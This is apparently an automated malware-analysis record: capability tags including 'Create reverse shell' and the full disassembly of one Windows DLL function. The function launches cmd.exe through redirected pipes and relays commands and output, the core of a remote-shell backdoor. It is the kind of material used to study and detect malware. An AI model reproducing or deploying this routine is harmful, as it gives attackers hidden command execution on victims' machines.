Function at 0x1800037d0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Get common file path
Read file on windows
Read pipe
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3280]
mov eax, 0x3380
call fcn.18003a910
sub rsp, rax
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x33d0], rbx
mov rax, qword [0x18005d0e0]
xor rax, rsp
mov qword [rbp + 0x3270], rax
mov edi, r9d
mov dword [rbp - 0x78], r9d
mov r13d, r8d
mov dword [rbp - 0x80], r8d
mov r15, rdx
mov r14, rcx
mov qword [rbp - 0x38], rdx
xor r12d, r12d
mov dword [rsp + 0x50], r12d
lea rcx, [0x18005d078]
mov rax, qword [0x18005d078]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x68], rbx
mov byte [rbp + 0xa60], r12b
xor edx, edx
mov r8d, 0x2809
lea rcx, [rbp + 0xa61]
call fcn.1800334b0
mov dword [rbp - 0x50], 0x18
mov qword [rbp - 0x48], r12
mov dword [rbp - 0x40], 1
xor r9d, r9d
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1800038eb
test r13d, r13d
je 0x1800038b6
lea rdx, [0x18004dd32]
lea rcx, [rbp - 0x78]
call fcn.180001580
mov r8b, 0x18
mov edx, edi
mov rcx, rax
call fcn.180002d60
lea rcx, [rbx - 0x18]
call fcn.180001790
add rax, 0x18
mov qword [r14], rax
or rsi, 0xffffffffffffffff
mov eax, esi
lock xadd dword [rbx - 8], eax
dec eax
test eax, eax
jg 0x1800038e6
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
jmp 0x180003e09
xor r9d, r9d
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180003973
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13d, r13d
je 0x18000393e
lea rdx, [0x18004dd32]
lea rcx, [rbp - 0x30]
call fcn.180001580
mov r8b, 0x18
mov edx, edi
mov rcx, rax
call fcn.180002d60
lea rcx, [rbx - 0x18]
call fcn.180001790
add rax, 0x18
mov qword [r14], rax
or rsi, 0xffffffffffffffff
mov eax, esi
lock xadd dword [rbx - 8], eax
dec eax
test eax, eax
jg 0x18000396e
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
jmp 0x180003e09
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x10]
call fcn.1800334b0
mov dword [rbp + 0x2c], 0x101
mov word [rbp + 0x30], r12w
mov rax, qword [rsp + 0x78]
mov qword [rbp + 0x40], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x60], 0
xor edx, edx
mov r8d, 0x9ff
lea rcx, [rbp + 0x61]
call fcn.1800334b0
mov edx, 0xa00
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdi, [rbp + 0x60]
xor eax, eax
or rsi, 0xffffffffffffffff
mov rcx, rsi
repne scasb al, byte [rdi]
mov rax, qword [str.cmd.exe]
mov qword [rdi - 1], rax
movzx eax, byte [0x18004e2c0]
mov byte [rdi + 7], al
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180003aaf
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13d, r13d
je 0x180003a7e
lea rdx, [0x18004dd32]
lea rcx, [rbp - 0x20]
call fcn.180001580
mov r8b, 0x18
mov edx, dword [rbp - 0x78]
mov rcx, rax
call fcn.180002d60
lea rcx, [rbx - 0x18]
call fcn.180001790
add rax, 0x18
mov qword [r14], rax
mov eax, esi
lock xadd dword [rbx - 8], eax
dec eax
test eax, eax
jg 0x180003aaa
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
jmp 0x180003e09
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2800
lea rdx, [rbp + 0xa60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], r12d
je 0x180003b60
nop dword [rax + rax]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2800
lea rdx, [rbp + 0xa60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x50]
mov byte [rbp + rdx + 0xa60], 0
lea eax, [rdx - 1]
cmp byte [rbp + rax + 0xa60], 0x3e
je 0x180003b60
inc edi
cmp edi, 0x1e
jae 0x180003b60
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2800
lea rdx, [rbp + 0xa60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], 0
jne 0x180003af0
lea rdx, [0x18004e2c4]
mov rcx, r15
call fcn.180003f10
mov r8d, 2
lea rdx, [0x18004e2c4]
mov rcx, r15
call fcn.180003ff0
mov rdx, qword [r15]
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x58]
mov r8d, dword [rdx - 0x10]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180003c1c
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 0x60]
call fcn.180022c40
lea rcx, [rbx - 0x18]
call fcn.180001790
add rax, 0x18
mov qword [r14], rax
mov eax, esi
lock xadd dword [rbx - 8], eax
dec eax
test eax, eax
jg 0x180003c17
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
jmp 0x180003e09
mov r13d, r12d
mov ebx, r12d
nop word [rax + rax]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2800
lea rdx, [rbp + 0xa60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], 0
je 0x180003cd1
xor edx, edx
mov r8d, 0x280a
lea rcx, [rbp + 0xa60]
call fcn.1800334b0
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2800
lea rdx, [rbp + 0xa60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180003c30
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x180003c30
mov ebx, r12d
mov r13d, eax
xor eax, eax
mov rcx, rsi
lea rdi, [rbp + 0xa60]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [rbp + 0xa60]
lea rcx, [rsp + 0x68]
call fcn.180003ff0
jmp 0x180003c30
test r13d, r13d
je 0x180003ce4
lea eax, [r13 - 1]
cmp byte [rbp + rax + 0xa60], 0x3e
je 0x180003cfd
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xc8
jb 0x180003c30
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 0x60]
call fcn.180022c40
mov edx, ntohl
mov rdi, qword [rsp + 0x68]
mov rcx, rdi
call fcn.18003097c
mov r13, rax
test rax, rax
je 0x180003db7
sub r13d, edi
lea ecx, [r13 + 1]
movsxd rcx, ecx
call fcn.18002f604
mov rbx, rax
movsxd r8, r13d
mov byte [r8 + rax], 0
mov rdx, rdi
mov rcx, rax
call fcn.18002fb80
test rbx, rbx
je 0x180003d9a
xor eax, eax
mov rcx, rsi
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r12d, [rcx - 1]
mov r8d, r12d
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.180001b40
mov rcx, rbx
call fcn.18002f934
mov rdi, qword [rsp + 0x68]
cmp dword [rbp - 0x80], 0
je 0x180003ddd
lea rcx, [rdi - 0x18]
call fcn.180001790
add rax, 0x18
mov qword [rbp - 0x80], rax
mov r8b, 0x18
mov edx, dword [rbp - 0x78]
lea rcx, [rbp - 0x80]
call fcn.180002d60
lea rcx, [rdi - 0x18]
call fcn.180001790
add rax, 0x18
mov qword [r14], rax
mov eax, esi
lock xadd dword [rdi - 8], eax
dec eax
test eax, eax
jg 0x180003e09
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r15]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], esi
dec esi
test esi, esi
jg 0x180003e24
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, r14
mov rcx, qword [rbp + 0x3270]
xor rcx, rsp
call fcn.18002f950
mov rbx, qword [rsp + 0x33d0]
add rsp, 0x3380
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret